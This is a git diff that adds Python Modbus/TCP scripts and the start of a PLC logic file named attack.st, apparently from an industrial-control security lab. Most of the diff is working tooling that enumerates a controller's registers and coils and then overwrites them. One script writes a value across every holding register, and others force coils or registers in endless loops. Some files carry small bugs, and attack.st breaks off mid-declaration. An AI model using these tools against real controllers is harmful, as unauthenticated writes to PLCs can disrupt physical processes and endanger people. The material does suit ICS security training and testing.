b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : 